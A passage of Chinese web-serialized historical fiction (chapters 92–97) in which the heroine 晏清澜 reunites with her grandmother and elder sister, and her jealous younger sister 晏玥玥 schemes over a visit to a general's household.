其他事她都不在意,她就想知道,庄家人对晏清澜好不好。 要是对她好,那就是好人,要是对她不好,那就是坏人!宋溪溪端着满满一盘蒜香排骨,一步三回头地走了。 临出门前,还不忘扭头冲晏清澜甜甜一笑, “阿清姐姐,那我先走啦,你和家人好好说说话。” 声音清脆,像枝头雀跃的小鸟。 目送宋溪溪离开,晏清澜脸上的笑容淡了几分,多了些说不清道不明的意味。 “阿清姐姐和庄家人的关系真好。” 宋溪溪和厉明川在院子里闲逛,有一搭没一搭地聊着天。 宋溪溪想起刚才的情形,忍不住感慨。 “是啊,看着感情挺深的。” 厉明川随口应了一句, “只要不是来找茬的就行。” 另一边,花厅里。 晏芸清正大喇喇地靠在椅背上,手里转着个茶盏盖儿,百无聊赖地打着哈欠。 晏老夫人见了,眉头微蹙, “芸芸,你看看你,像什么样子!在家里也就算了,当着你妹妹的面,好歹也给我收敛着点儿!” 晏芸清撇了撇嘴,手上的动作却没停,声音里带着几分不以为然, “祖母~您就别操心啦,阿清跟咱们一家人似的,您跟我较什么真儿呀。” “我这自在惯了,一时半会儿也改不过来。” 晏清澜看着这熟悉的场景,唇角微微上扬。 第九十二章 她缓步走到晏老夫人身边,轻轻挽住她的胳膊。 “祖母说的是,长姐这性子,确实该改改了。” 晏芸清闻言,猛地坐直了身子,瞪大了眼睛, “好啊你个阿清!几天不见,长本事了啊!居然敢跟你姐姐我叫板了?” 她说着,作势就要扑过来挠晏清澜的痒痒。 晏清澜笑着躲开,姐妹俩闹作一团。 晏老夫人看着她们,眼中满是慈爱和笑意。 这才是家该有的样子嘛! 闹腾了一会儿,晏芸清像是突然想起了什么,猛地一拍脑门, “哎呀,瞧我这记性!光顾着跟你闹了,差点把正事儿给忘了!” 她一把拉过晏清澜,上上下下仔仔细细地打量着, “阿清,你老实告诉我,你是不是偷偷用了什么驻颜术?” 晏芸清的眼神像是要把晏清澜给看穿了似的, “我记得你小时候,虽然五官也精致,但总归是带着几分病气的。” 她摸了摸下巴,若有所思地说, “可现在……啧啧啧,简直就像是换了个人似的!这小脸儿,这气色,比那画上的仙女儿还要好看三分!” 庄家那些个睁眼瞎的,成日里在背地里说明礼小时候喊晏清澜丑八怪。 晏芸清每每想起这事儿,都恨不得把那群人的眼珠子给抠出来! “瞎了眼的玩意儿!阿清小时候明明就是个美人胚子!” 晏清澜被她看得有些不好意思,轻轻推了她一下, “哪有姐姐你说的那么夸张。” 她眨了眨眼,故作神秘地说, “不过,我确实是找到了一些保持美貌的小窍门,你要不要学?” 晏芸清被她逗得“咯咯”直笑,伸手刮了刮她的鼻子, “你呀,就会跟我贫嘴!” 晏老夫人看着姐妹俩亲昵的样子,脸上的笑容更深了。 她轻咳一声,打断了她们的玩笑, “好啦好啦,你们俩别闹了。阿清,你跟我说说,这些日子在外面过得怎么样?” 晏老夫人顿了顿,又补充道, “还有,你大哥的事儿……我也听说了。” 她叹了口气,语气中带着几分无奈和心疼, “你呀,还是太冲动了些。不过……打了也好,省得他整日里不干正事,净给你添堵。” 晏清澜知道晏老夫人是心疼自己,她轻轻摇了摇头, “祖母,我不怪他。他……也是身不由己。” 晏老夫人听了,眼眶微微泛红。 她知道,晏清澜这是在替那个不争气的孙子开脱。 “阿清,你真是……太懂事了。” 晏老夫人伸手摸了摸晏清澜的头发,声音有些哽咽, “你放心,以后有祖母在,谁也别想欺负你!” 晏芸清也赶紧凑过来,挽住晏清澜的另一只胳膊, “对!还有我呢!阿清,以后谁要是敢给你气受,你就告诉我,我帮你揍他!” 她说着,还挥了挥拳头,一副“谁敢惹我妹妹,我就跟他拼命”的架势。 晏清澜看着她们,心中涌起一股暖流。 这就是家人啊…… 不管你做了什么,她们都会无条件地站在你这边,支持你,保护你。 “对了,阿清,你这次回来,是打算……” 晏老夫人像是突然想起了什么,试探着问道。 晏清澜知道她想问什么,她微微一笑, “祖母,您放心,我这次回来,只是想看看您和长姐。” 她顿了顿,又补充道, “至于其他的事……我自有分寸。” 晏老夫人听了,这才松了口气。 她握住晏清澜的手,语重心长地说, “阿清,你记住,不管发生什么事,祖母永远都是你的后盾。” “还有你娘……她要是再敢对你不好,你就告诉我,我替你出气!” 晏芸清也在一旁帮腔, “就是!阿清,你别怕她!有我和祖母给你撑腰呢!” 正说着,丫鬟们端着几碟精致的点心走了进来。 晏芸清眼睛一亮, “呀,这是什么?闻着好香啊!” 她说着,伸手就要去拿。 晏清澜笑着拦住了她, “长姐,你先别急,这些可都是我亲自操刀,奶奶和你快来试试味道。” 她拿起一块枣泥山药糕,递给晏老夫人, “祖母,您尝尝这个,可好吃了。” 晏老夫人笑着接过来,咬了一口,顿时眼睛一亮, “嗯,不错不错,这味道……比碧霄楼的还要好!” 晏芸清一听,也顾不上矜持了,抓起一块就往嘴里塞, “真的假的?比碧霄楼的还好?那我可得好好尝尝!” 她一边吃,一边含糊不清地说, “阿清,你这技术简直神了!简直比御厨做的还要好吃!” 晏清澜笑了笑,没说话。 她做的点心,自然是跟外面的不一样。 毕竟,她可是有着现代人的灵魂,又岂是那些只会墨守成规的厨子们能比的? “长姐,你慢点吃,别噎着了。” 晏清澜笑着给晏芸清倒了杯茶, “对了,长姐,你怎么知道碧霄楼的?” 晏芸清咽下嘴里的糕点,抹了抹嘴, “嗨,别提了。我有个闺蜜,她爹是京城有名的富商,她之前去碧霄楼买点心,特意给我带了几块。” 晏芸清撇了撇嘴, “不过,那味道也就一般般吧,跟你做的比起来,简直差远了!” 晏老夫人也点了点头, “是啊,阿清做的点心,确实是比外面的要好吃许多。” 她看着晏清澜,眼中满是骄傲和欣慰, “阿清,你真是越来越能干了。” 晏清澜被夸得有些不好意思,她笑了笑, “祖母,长姐,你们要是喜欢吃,我以后就经常做给你们吃。” “好啊好啊!” 晏芸清连连点头, “阿清,你可不能说话不算数哦!” 晏清澜笑着点了点头。 她看着晏老夫人和晏芸清,心中一片温暖。 有家人的感觉,真好……“阿清,你这傻丫头,可千万别再犯糊涂了!” 晏芸清急得直跺脚,一把抓住晏清澜的手腕,指尖微微发白。 “你这好不容易才养好的身子,要是再回苏府,被那些黑心烂肺的人气出个好歹,我……我第一个饶不了他们!” 她咬着牙,眼眶都有些泛红。 晏清澜在苏府过的什么日子,没人比她更清楚。 那些年,简直是把晏清澜往死里磋磨。 随便哪个不长眼的丫鬟婆子,都敢给晏清澜脸色看。 她家阿清身子骨弱,偏偏那些人还成日里寻衅滋事,变着法儿地给气受。 每每想起,晏芸清就恨不得将那些人的心肝肺都掏出来,看看是不是黑的。 可恨她那时人微言轻,只能眼睁睁看着,干着急。 晏老夫人虽顶着老夫人的名头,可手里头没实权,说不上话。 她老人家不过是晏明远的嫡母,又不是亲娘,隔了一层。 第九十三章 说到底,晏明远和钱雅芝不过是面子上敬着她罢了。 那些个狗仗人势的奴才,若是做得太过,老夫人还能寻个由头发落几个。 可若是钱雅芝铁了心要护着,睁一只眼闭一只眼,硬说没影儿的事,老夫人也是一点法子都没有。 那些年,她们祖孙俩,拼了命也只能护着晏清澜活着。 旁的,想都别想。 晏老夫人颤巍巍地伸出手,紧紧攥住晏清澜的手,那双浑浊的眼睛里,早已蓄满了泪水。 “阿清啊,你小时候,瘦得就跟那刚出窝的小猫崽子似的,风一吹就要倒。” 她哽咽着,一行老泪顺着脸颊滑落。 “你每次病了,祖母这心就跟油煎似的,生怕你熬不过去。” “你娘……唉,你妈就是个铁石心肠,你病得起不来床,她连个医生都懒得帮你找。” 晏老夫人顿了顿,像是想起了什么开心的事,浑浊的眼睛里闪过一丝光亮。 “不过,现在好了,都好了。祖母听说你如今功夫可了不得,之前可是救过八皇子的命,真是……” 她擦了擦眼角的泪,声音里带着几分骄傲。 “厉将军和厉夫人都是顶好的人,把你照顾得这样好,祖母真是……不知道该怎么谢他们才好。” 她絮絮叨叨地说着,眼眶又红了。 从前,晏清澜有个头疼脑热,都是晏老夫人衣不解带地守着,亲自去请大夫,喂药。 偶尔,晏明远若是在家,或许会差人去请个大夫。 也仅仅是偶尔罢了。 晏清澜也曾写信给晏老夫人,说她在临川一切安好。 可晏老夫人哪能信呢? 这孩子,从小就报喜不报忧,再苦再难都自个儿扛着。 如今亲眼见了,她才算彻底放下心来。 晏芸清从袖袋里掏出一个精致的小册子,递到晏清澜面前,伸手轻轻捏了捏她的脸颊,带着几分宠溺。 “好阿清,姐姐清楚你现在啥都不差,也没什么拿得出手的。” **她顿了顿,正色道:“这本册子你且收好,里头可不是那些个俗物。阿姐我将这汴京各家夫人、千金的底细都摸了个遍,脾气秉性、喜好忌讳,值不值得结交,全在上头。”** 晏芸清叹了口气,眉宇间染上一层淡淡的忧愁。 **“汴京这潭水,深着呢。”她把声音压得极低,几乎是贴在晏清澜耳边说的,“你初来乍到,凡事多留个心眼。宫里头过几日定要办归朝宴,你仔细着些,别着了道。”** **她反复叮咛,还是不放心。总觉得阿清虽然看着稳重,可到底单纯,容易吃亏。** 听到“归朝宴”三个字,晏老夫人原本稍稍舒展的眉头又紧紧地皱了起来。 她下意识地握紧了晏清澜的手,仿佛生怕一松手,这个失而复得的孙女就会再次消失不见。 “阿清,外人就算了,只是你娘……” 晏老夫人欲言又止,最终还是沉沉地叹了口气。 **“你娘那儿,你需得提防着些。这话,本不该我这老婆子来说……”** **这话要是传出去,指不定要被人笑掉大牙。** **哪有做祖母的,提醒孙女提防亲娘的?** 可这又能怎么办呢? 要是钱雅芝是个好的,她又何至于此? 她这苦命的孙女啊,她是真的怕了。 提起钱雅芝,晏芸清抿紧了唇,没有说话。 但从她紧绷的神情来看,显然是赞同晏老夫人的话。 **只是,让晏清澜提防自己生母这种话,晏老夫人可以说,她却不能。若是从她口中说出,旁人还不定怎么编排她,说她为了争宠,挑唆妹妹和生母的关系。** 晏清澜将两人的担忧尽收眼底,微微垂眸,掩去眼底一闪而逝的复杂情绪。 她朝晏老夫人和晏芸清投去一个安抚的眼神,示意她们放心。 就在这时,夏竹端着一个托盘,脚步轻快地走了进来。 托盘上,摆放着各式各样的物件,琳琅满目。 **晏清澜先是朝晏老夫人笑了笑,这才**拿起一个绣着安神花草纹样的药枕,递给晏老夫人。 “祖母,这个给您。里头的药草都是我亲手调配的,有安神助眠的功效,您枕着它睡,晚上也能睡个安稳觉。” 夏竹一见着晏老夫人和晏芸清,眼睛都笑得眯成了一条缝。 “老夫人,您可不知道,这个药枕,姑娘早在回京的路上就开始做了呢!” 她将托盘稳稳地放在桌上,又从里头取出两个青瓷小瓶,小心翼翼地塞进晏芸清手里。 “大姑娘,这是姑娘特地吩咐奴婢去雅韵坊买的,您瞧瞧可还喜欢?” 夏竹眨巴着眼睛,一脸期待。 虽说这雅韵坊背后的主子就是自家姑娘,可她的确是去雅韵坊走了一趟。 这么说来……应该也算是她去买的吧? 嗯,虽然没付银子。 晏芸清一听“雅韵坊”三个字,吓得手一抖,差点把那青瓷瓶给摔了。 她连忙将东西放回托盘上,狠狠地瞪了晏清澜一眼。 **“你这丫头疯了不成?雅韵坊的东西是能随便买的吗?那都是金子堆出来的!你就是银子多得没处花,也不能这么糟践啊!”** **她嗔怪着,语气里却是满满的心疼。** **“你自己留着用吧,我可用不起!”** **晏清澜却只是笑,从托盘里又拿起一个小瓷瓶,不由分说地塞进晏芸清手里。** **“都买了,还能退回去不成?你要是不用,我可就真砸了。你掂量掂量。”** **晏芸清被她这副无赖的样子气笑了,却又舍不得真把东西还回去。** **她作势要打,却被晏清澜灵巧地躲开了。** **“你这促狭鬼!好好的东西,砸了做什么?便是送人也使得啊!陆家大小姐不是和你交好?送她也比砸了好!”** 晏清澜心里暗自叹了口气。 她倒是想送呢。 **可宋溪溪那丫头,比猴儿还精,上次她送了個玉镯,结果宋溪溪转手就找了个由头,送了她一匣子东珠。** 当然,这话她是万万不能跟晏芸清说的。 **晏芸清若是知道了,定然觉得她与宋溪溪之间是你来我往,为了不落下风,少不得要让她多备一份大礼还回去。** 晏老夫人在一旁看着,笑着摇了摇头。 **“好了好了,你们俩也别闹了。芸芸,你就收着吧,阿清这性子,随她娘,看着软和,其实倔得很,她决定的事,八头牛都拉不回来。你要真不收,她指不定还真能把东西砸了。”** 晏芸清看看一脸“你看着办”的晏清澜,转眼看向一脸无可奈何的晏老夫人,只能妥协地叹了口气,将那两个青瓷小瓶收了起来。 第九十四章 **她打开其中一个,轻轻旋开盖子。还未来得及细闻,那股子馥郁的香气便争先恐后地涌了出来,直往鼻子里钻。** **晏芸清只觉得心旷神怡,整个人都舒展开来。** **她爱不释手地把玩着小瓷瓶,脸上的笑容怎么也掩饰不住。** **晏清澜瞧着她欢喜的模样,嘴角的弧度也忍不住加深了几分。** **她眼珠子一转,忽然又板起脸,一本正经地说:“这可是我的一番心意,你可不能转手送人,尤其是……晏玥玥。”** 晏芸清立刻瞪了她一眼,没好气地说: **“你当我跟你一样傻?我吃饱了撑的才给她!她晏玥玥算哪根葱?也配用我的东西?”** 她哼了一声,语气里带着几分不屑。 **“我就是扔了、喂狗了,也不会给她!”** 提起晏玥玥,晏芸清心里就一阵不痛快。 她忽然好像想到什么似的,猛地抓住晏清澜的手,神情严肃而紧张。 “阿清,我跟你说,不管苏府来多少人劝你,你都不能回去,听见没有?” 晏芸清压低了声音,语气急切。 **“你可不知道,今儿个母亲在祖母面前说了什么混账话!她竟然……她竟然异想天开,想把你这次得的赏赐,全都拿去给晏玥玥置办嫁妆!也不想想,她配不配!”** 若不是气急了,晏芸清是断然不会说出这样的话的。 钱雅芝偏心,这在苏府早已不是什么秘密。 可她就是不能忍受,钱雅芝竟然把主意打到了晏清澜的头上! 她的阿清,就该一辈子都平平安安,快快乐乐的,再也不要像从前那样,受尽委屈。 晏清澜的脸色依旧平静,默默点了下头。 “我知道,她会这么想。这样的事,又不是第一次遇到这种事。” 她的语气淡淡的,听不出喜怒。 晏老夫人摇了摇头,眸中闪过一丝厌烦。 她摆了摆手,示意晏芸清不要再说了。 “罢了罢了,干嘛无缘无故提起她,平白惹人扫兴。” 她转头看向晏清澜,**从晏芸清带来的包袱里拿出一件叠得整整齐齐的衣裳,轻轻展开。** “阿清,你快来看看,芸芸给你做的新衣裳。**这可是她亲手做的,连花样都是她自己设计的呢。**” 晏老夫人**指着衣裳上精致的绣纹,**脸上重新露出笑容。 **“这料子虽不是顶好的,但胜在颜色清雅,衬你的肤色。你试试看,合不合身。”**晏清澜将新衣裳捧在手里,这边摸摸,那边看看,眼睛都快放光了。 “啧啧,这针线活儿,真是绝了!” 她由衷地赞叹。 再想想自己那惨不忍睹的女红,晏清澜恨不得找个地缝钻进去。 人比人,真是气死人! 晏芸清、宋溪溪、晏清萦,这几个人的绣工,个顶个的好,简直是教科书级别的! 轮到她晏清澜,就像是老天爷故意跟她作对,硬生生把这项技能给没收了。 说起来,这女红啊,还真是吃天赋,你没那个细胞,再怎么努力也是白搭。 晏芸清瞧着晏清澜那一脸“羡慕嫉妒恨”的小表情,没忍住,笑出了声。 她伸手点了点晏清澜的额头, “行了,小丫头,别在那儿装模作样了。以后啊,想要什么花样的衣裳,尽管来找阿姐,阿姐包你满意!” 晏清澜一听这话,立马来了精神, “你自己放话的,到时候,你可别嫌我烦。” 她故意把“烦”字咬得重重的,像是在提醒晏芸清,又像是在跟自己保证。 晏老夫人在一旁看着这俩姐妹斗嘴,笑得合不拢嘴。 “你们两个啊,真是……” 她摇了摇头,却没再说下去,眼里的宠溺,却是怎么都藏不住的。 …… 苏府。 晏玥玥站在钱雅芝的院子门口,眼睁睁看着几个婆子抬着一箱箱的东西,往听雨轩的方向走去。 那些箱子里,装的都是上好的绸缎、精致的摆件,还有一些她见都没见过的稀罕玩意儿。 晏玥玥的脸色,阴沉得快要滴出水来。 她使劲咬着下唇,嘴里都泛起了血腥味。 不是说好了,不接那个扫把星回来了吗? 这听雨轩,可是除了她的芷兰阁外,整个苏府最好的院子! 就这么白白给了晏清澜那个贱人? 凭什么?! 她晏玥玥,才是苏府最尊贵的小姐! 那个晏清澜,算个什么东西? 从前住的澄月院,不也挺好吗? 阴暗、潮湿、偏僻……那才是她该待的地方! 母亲不是一直都恨不得晏清澜去死吗? 怎么突然之间,转了性子? “六姑娘,您这是怎么了?脸色这么难看,可是哪里不舒服?” 一个尖细的声音在耳边响起,打断了晏玥玥的思绪。 她转头一看,是钱雅芝身边的一个二等丫鬟,名叫春桃。 这春桃,平日里最是机灵,也最会讨钱雅芝的欢心。 晏玥玥没好气地瞪了她一眼, “用不着你管!” 她现在,谁也不想搭理。 春桃被噎了一下,脸色有些尴尬,但很快,又换上了一副笑脸, “六姑娘,您可别跟奴婢一般见识。奴婢这也是担心您啊。” 她凑近了些,压低了声音, “其实啊,夫人让收拾听雨轩,也是不得已。您想想,这事儿,毕竟是老夫人亲自发的话,夫人总不能驳了老夫人的面子吧?” 晏玥玥的眉头,微微皱了皱。 这话,倒也有几分道理。 可是,一想到听雨轩,她心里还是堵得慌。 春桃见晏玥玥的神色有所松动,连忙趁热打铁, “您呀,就把心放肚子里吧。夫人心里,最疼的还是您。几位少爷,那更不用说了,都把您当眼珠子似的疼着呢。就说四少爷吧,今儿个早上,他还……” 春桃故意卖了个关子,停顿了一下。 晏玥玥果然上钩,她急切地问道: “四哥哥怎么了?” 春桃这才慢悠悠地说道: “四少爷啊,他把您之前绣坏的那个香囊,给捡起来了呢。” 晏玥玥的脸色,瞬间变得惨白。 她像是被雷劈中了一般,整个人都僵在了原地。 “你说什么?哪个香囊?” 她颤抖着声音,再次确认。 春桃见她这副模样,心里也有些打鼓, “就……就是那个……绣了个圆圈,像……像太阳的那个……” 她越说声音越小,最后,几乎微不可闻。 “轰——” 晏玥玥只觉得脑子里一片空白。 那个香囊…… 是晏清澜绣的! 四哥哥他……为什么要捡起来? 难不成……难不成…… 他喜欢上了晏清澜?! 这个念头,像是毒蛇一般,紧紧缠绕着晏玥玥的心脏。 第九十五章 她觉得,自己快要窒息了。 不!不可能! 四哥哥明明说过,他最疼的人,是她! 他怎么会……怎么会喜欢上那个贱人? 一定是哪里搞错了! 晏玥玥猛地转身,跌跌撞撞地朝着晏子晏的院子跑去。 她现在,就要去问个清楚! 晏子晏的院子里,一片寂静。 只有风吹过竹叶,发出的“沙沙”声响。 晏子晏独自站在院中,手里拿着飞镖,一下又一下地投向草靶。 他的动作,有些心不在焉。 “四哥哥!” 晏玥玥的声音,打破了院子里的宁静。 晏子晏吓了一跳,手一抖,飞镖险些脱手。 他转过身,正好看见晏玥玥朝他跑来, “玥玥?你怎么来了?” 晏子晏的语气,有些惊讶,也有些不耐烦。 只是,他自己,或许都没有察觉到。 晏玥玥没有回答他的问题,她只是呆呆地站在那里,看着晏子晏。 她的眼神,空洞而茫然。 “四哥哥……” 她喃喃地叫着,声音里,带着一丝不易察觉的颤抖。 晏子晏被她看得有些心慌,他下意识地避开了她的目光, “玥玥,你怎么了?是不是……出什么事了?” 他尽量让自己的语气,听起来温柔一些。 可是,他越是这样,晏玥玥的心里,就越是难受。 “四哥哥……你……你是不是……在生我的气?” 她终于,还是问出了口。 晏子晏一愣, “生气?我为什么要生你的气?” 他有些莫名其妙。 晏玥玥的眼泪,再也忍不住,夺眶而出, “你就是生气了!你怪我……怪我容不下四姐姐……也容不下长姐……” 她越说越激动, “可是……我没有……我真的没有……我只是……只是害怕……” “长姐……她不喜欢我……我跟她说话……她总是爱答不理……” “四姐姐……她也恨我……她觉得……是我害得她被送去了临川……” 晏玥玥的声音,越来越低,越来越哽咽, “四哥哥……你别不理我……我害怕……” 她伸出手,想要去抓住晏子晏的衣袖。 可是,晏子晏却像是触电一般,飞快地躲开了。 他的这个动作,彻底击垮了晏玥玥。 她“哇”的一声,哭了出来。 晏子晏看着眼前哭得梨花带雨的晏玥玥,眉头紧锁,眼神复杂。 他张了张嘴,似乎想说些什么,但最终,却只是化作了一声叹息, “玥玥,你别哭了……” 他的声音很轻,很柔, “芸芸她……她对谁都一样,你别多想……” 晏子晏试图安慰她, 可是,他的话,却像是一把刀子,狠狠地刺进了晏玥玥的心里。 从前,每当她这样哭的时候,四哥哥都会心疼地把她抱在怀里,轻声细语地哄她。 他会说,她是苏府最可爱的小公主,没有人会不喜欢她。 他还会说,她是他的宝贝妹妹,他会永远保护她。 可是现在…… 四哥哥只是冷冰冰地站在那里,看着她哭。 甚至,连一句安慰的话,都说得如此敷衍。 晏玥玥忽然就明白了。 四哥哥……是真的变了。 他不再是那个,会把她捧在手心里,疼她、爱她、宠她的四哥哥了。 一股巨大的恐惧,如潮水般将她淹没。 她知道,有些东西,一旦失去了,就再也回不来了。“四哥哥怎么就嫌弃我了?” 晏玥玥向后退了小半步,勉强站稳,眼眶却迅速泛红。 “难道……都是四姐姐搞的鬼吧?” 她咬着下唇,声音很轻,带着不易察觉的委屈。 “我也不是……非要针对四姐姐。” “只是……” 她抬手,抹了一把眼睛。 “只是我害怕……” 晏玥玥低着头,睫毛微微颤抖。 “我听他们说,四姐姐杀伐果断,眼睛都不眨一下……” 她顿了顿,深吸一口气, “我怕……她哪天也会这样对我。” “她对大哥都那样……何况是我?” 晏玥玥的声音越来越低,带着几分哽咽, “她对我有这么大意见……我是真的怕……” 这份恐惧,如新生的藤蔓,紧紧缠绕着她。 晏子晏静静地看着她,没有说话。 良久,他缓缓摇头。 他抬手,轻轻地替她理了理头发, “你放心,她不是那样的人。” 他抿了抿唇,斟酌着开口, “她只是……和苏府不亲近,我们对她来说……” 晏子晏的声音低了下去,带着一丝苦涩, “和路人没什么分别。” 他比任何人都清楚,如果晏清澜真的嫉恨苏府,玥玥又怎么能安然无恙地站在这里? 晏清澜看似冷若冰霜,实则外冷内热。 她只是……和苏府的人,生分了。 晏子晏缓缓低下头,眼神晦暗难明。 “咱们别去惹她就行,她大概……也不会想起我们。” 从前,晏玥玥听到这话,怕是要欢呼雀跃。 可现在,她只觉得心里发酸。 四哥哥居然站在四姐姐那边! 他终究还是对她有意见。 为什么?四姐姐一回来,她的四哥就变了? 晏玥玥紧紧地咬着嘴唇,指甲几乎要掐进肉里。 她突然伸手,抓住晏子晏的袖子。 晏玥玥努力挤出一个笑容, “四哥,我们……去给将军府下帖子吧?” 她都快哭了,语气却很乖巧, “我想过了,四姐姐既然和我们生分了,那我们更应该主动些。” “四姐姐根本不把我们放眼里,但厉将军和厉夫人,她总要听的吧?” 晏玥玥的声音里带着一丝期待, “我们去求求厉将军和厉夫人,让他们劝劝四姐姐,让她别和我们这么生分,好不好?” “我也会和母亲说,让她对四姐姐好一点……” 说到这里,晏玥玥的眼泪又开始在眼眶里打转。 她吸了吸鼻子, “四哥别嫌弃我就好,我什么都愿意做……” “我……我会努力和四姐姐好好相处的。” 晏玥玥紧紧地攥着晏子晏的袖子,生怕他松开。 她仰起头,鼻子红红的。 “四哥……” 她小心翼翼地看着晏子晏, “消消气好不好,好不好?” 晏子晏看着她这副模样,终究是不忍。 他从怀中掏出帕子,替她擦去眼泪。 一声叹息。 到底,从小宠到大的妹妹啊。 宠着她惯着她,早已成了习惯。 之前他气急了,话说得重了些。 可如今,气消了大半,看她哭成这样,又低声下气地求他…… 晏子晏的心,软了。 只是,他心头的那道裂痕,还在。 他没办法再像从前那样,全心全意地对她好了。 晏子晏将帕子扔到一旁, “玥玥……” 他开口,声音低沉, “你……你认真的吗?” 他顿了顿,看着晏玥玥, “你真的……想请将军府的人出面,缓和阿清和苏府的关系? 第九十六章 ” 晏子晏微微蹙眉, “你不怕……她分走你的宠爱?” 他实在不敢相信,这个一向有些小性子的妹妹,会突然变得这么懂事。 晏玥玥的眼泪差点又掉下来。 但她看到晏子晏微微皱起的眉头,又连忙抬手,擦了擦眼睛。 她摇着头, “不会的,四姐姐不是那样的人……” “咱们都是一个屋檐下的,爹娘和哥哥们疼爱姐姐,是应该的。” 晏玥玥看着晏子晏, “四哥,我们就按你说的,过两日去拜访厉将军和厉夫人,好不好?” “就算不能劝四姐姐什么,至少……我们尽力了。” “一家人……总不能真的像仇人一样吧?” 是啊,一家人,怎么能像仇人一样呢? 晏子晏叹了口气。 落日的余晖洒在他身上。 金色的光芒落在他眼中,有些迷离。 他忍不住想,阿清和苏府,真的还能回到从前吗? 他知道这不可能。 他只希望,苏府和她,能和平共处。 至少,不要走到水火不容的地步。 可晏玥玥今日这番话…… 晏子晏看着晏玥玥头上的那支百合簪。 他记得,晏清澜似乎从不戴这些。 他突然有些怀疑,晏玥玥真的只是想缓和关系吗? “玥玥。” 他看着晏玥玥,又问了一遍, “你……真的没有别的想法?” 晏玥玥连连点头, “真的!四哥,你竟然不信我?” 晏子晏没有回答。 他望向天边, “希望你……言行一致。” 他的声音很轻, “别让我……对你失望。” 他总觉得,晏玥玥有事瞒着他。 可他想不明白,她到底想做什么? 为什么一定要去拜访陆家? “算了,” 他收回视线,看着晏玥玥,笑了笑, “四哥相信你。” “你想去,那便去吧,两日后启程。” 晏玥玥暗暗松了口气,露出一个如释重负的笑容。 她确实,有自己的打算。但这份打算,却与晏清澜无关。 她仰起头,看着被夕阳染上浅金色的晏子晏的侧脸,心中百转千回,却是一个字也说不出口。 她总不能告诉四哥哥,她去将军府,是为了见一见那位陆家哥哥吧? 毕竟,属于四姐姐的东西,她也想要。仅此而已。晨曦微露,天边泛起淡淡的鱼肚白。 将军府朱红的大门前,一辆华丽的马车缓缓停下,车帘轻动。 晏子晏率先走下马车,他整了整衣袖,从怀中小心翼翼地取出一个紫檀木的锦盒。 打开,一支点翠嵌宝的百合簪静静地躺在锦缎上,流光溢彩,熠熠生辉。 这是他前两日特意去京城最有名的珍宝阁,为晏玥玥精心挑选的。 “四哥,你等等人家嘛!” 身后传来一阵清脆的脚步声,带着少女特有的娇嗔。 晏玥玥提着裙摆,小跑着奔了过来,自然而然地挽上了他的胳膊。 “四哥,快看看,我今天这身打扮,怎么样?” 她微微仰起头,声音甜腻得像裹了一层蜜糖, 一双水汪汪的杏眼,像是盛满了三月桃花酿,顾盼生辉,带着少女的娇憨和期待。 晏子晏的目光在她身上细细扫过。 嗯,不得不承认,今日的晏玥玥,是用了十二分的心思来装扮的。 一袭浅粉色的苏绣罗裙,衬得她肌肤胜雪,袖口上绣着的桃花,是她亲手绣的,针脚细密,栩栩如生。 妆容精致,发髻上的珍珠步摇随着她的动作轻轻摇曳,就连耳垂上那对小巧的珍珠耳坠,都闪烁着温润的光泽。 只是…… 晏子晏的眉头,几不可察地蹙了一下。 他总觉得,今日的晏玥玥,美则美矣,却…… 太过刻意了些。 就像戏台上精心装扮的花旦,每一个细节都力求完美, 却偏偏失了几分天然去雕饰的灵动。 这种感觉,就好像……她今日的盛装,是特意为了给谁看。 不过,看着晏玥玥那张写满了“快夸我”的娇俏小脸, 晏子晏还是把到了嘴边的实话,又咽了回去。 他微微一笑,点了点头: “嗯,玥玥今日,很美。” 得到了肯定,晏玥玥的眼睛,瞬间笑成了一对弯弯的月牙儿。 她喜滋滋地提着裙摆,原地转了个圈,裙裾飞扬,像一朵盛开的粉色莲花。 “那当然!我可是咱们苏府最漂亮的姑娘家!” 她得意地扬起下巴,眼中闪烁着自信的光芒, “这次,非要让四姐姐吃瘪不可!” “到时候,厉将军和陆大哥,肯定都会更喜欢我的。” 少女的天真与骄傲,毫不掩饰地写在脸上,带着一种近乎盲目的自信。 晏子晏看着她,眼神复杂难辨,有宠溺,有无奈,也有一丝不易察觉的担忧。 马车缓缓驶入将军府。 穿过垂花门,绕过影壁,一路行来,只见庭院深深,假山嶙峋,花木扶疏,处处透着威严与气派。 晏玥玥规规矩矩地向傅清霁行礼问安,声音甜糯得像沾了蜜。 傅清霁只是微微颔首,吩咐丫鬟上茶点。 态度客气,却始终带着一股疏离,仿佛隔着一层看不见的屏障。 晏子晏倒不觉得有什么。 毕竟,定远将军性子清冷,不喜应酬,这是京城里人尽皆知的事。 但晏玥玥,心里却有些不是滋味了。 她原本期待的画面,并没有出现。 没有热情的寒暄,没有亲切的问候,更没有……想象中的喜爱。 怎么会这样? 晏玥玥的笑容微微有些僵硬,心中泛起一丝失落和委屈。 难道……是四姐姐背地里和厉夫人说了我的什么坏话? 她越想越觉得有可能,明明自己生了一张最讨长辈喜欢的脸蛋。 平日里那些世家夫人,见了她哪个不是夸她乖巧懂事嘴巴甜? 为何到了厉夫人这里,却…… 晏玥玥的不快,在看到桌上那些精致的点心后,瞬间达到了顶峰。 那些点心,小巧玲珑,造型别致,颜色粉嫩,像一件件精美的艺术品,散发着诱人的香气。 “不是说武将世家,都比较……不拘小节吗?” 晏玥玥暗自撇了撇嘴,心中更不是滋味了。 “这点心也太精美了吧?” 她原本还打算,用自己从京城最有名的糕点铺子“醉月楼”买来的糕点,在宋溪溪面前好好炫耀一番呢。 这下倒好,自己的糕点,反倒显得有些……俗气了。 失落,不甘,嫉妒,还有一丝隐隐的……自卑。 种种情绪在晏玥玥心中翻涌,像打翻了五味瓶,酸甜苦辣咸,什么滋味都有。 她端起茶盏,轻轻抿了一口,端起茶杯装模作样,掩饰着自己的情绪。 殊不知,她这点小心思,又怎能逃过傅清霁的眼睛? 久经沙场的女将军,早已将她的小心思看得一清二楚,只是不动声色罢了。 第九十七章 傅清霁静静地看着,眼中闪过一丝玩味,像是在看一出有趣的戏。 “厉夫人,怎么没瞧见溪溪妹妹呀?” 沉默半晌,晏玥玥终于按捺不住,轻声问道。 她抬起头,露出一副乖巧又期待的模样, “还有我四姐姐,她也在府上吗?” 傅清霁淡淡一笑, “哦,她们呀,这会儿应该在后花园呢。” 她顿了顿, “明澜和阿清在切磋剑法。” “你们来得巧,比帖子上的时辰,早了那么一会儿。” 傅清霁不紧不慢地补充道, “这个时辰,他们兄妹几个,一般都在后院练武。” 晏子晏眼神一凛。 他早就猜到晏玥玥不会无缘无故地提前过来,但没想到……她竟连时间都算计好了。 提前半个时辰,说是怕失礼,恐怕是想借机…… 晏子晏心中了然,却不动声色。 